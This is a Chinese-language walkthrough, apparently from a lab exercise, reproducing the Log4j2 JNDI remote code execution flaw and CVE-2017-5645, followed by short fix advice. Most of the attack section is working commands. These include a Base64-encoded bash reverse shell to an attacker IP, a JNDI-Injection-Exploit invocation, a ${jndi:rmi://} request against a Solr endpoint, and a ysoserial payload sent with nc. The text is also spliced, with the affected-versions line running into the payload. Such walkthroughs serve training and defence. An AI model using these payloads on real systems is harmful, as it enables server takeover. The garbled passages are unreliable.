Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用
例如当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy},此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。
表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。
其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。
漏洞适用版本:2.0 &1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy
(2)使用JNDIExploit进行漏洞利用,将上述Base64编码结果 填入指定位置
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i} -A "攻击机IP"java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy}|{base64,-d}|{bash,-i}" -A "192.168.0.113"(3)在攻击机开启监听
(4)修改Payload
使用刚刚JNDIExploit生成的Payload,如果不成功可以把生成的五个Payload都尝试一下
http://192.168.72.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.0.113:1099/t9c5yy}(5)成功反弹Shell
(6)修复建议
更新log4j至 rc2
配置防火墙策略,禁止主动连接外网设备
升级受影响的应用及组件
过滤相关的关键词,比如${jndi://*}
限制JNDI默认可以使用的协议
限制可以通过LDAP访问的服务器和类
CVE-2017-5645漏洞简介 Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码
攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
漏洞复现1、访问靶机环境启动后,会在4712端口开启一个TCPserver。
2、payload生成 用ysoserial生成payload,然后直接发送给被害者主机就可以
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/YikJiang" | nc 192.168.72.128 47123、进入容器查看docker exec -it a580281f7196 /bin/bash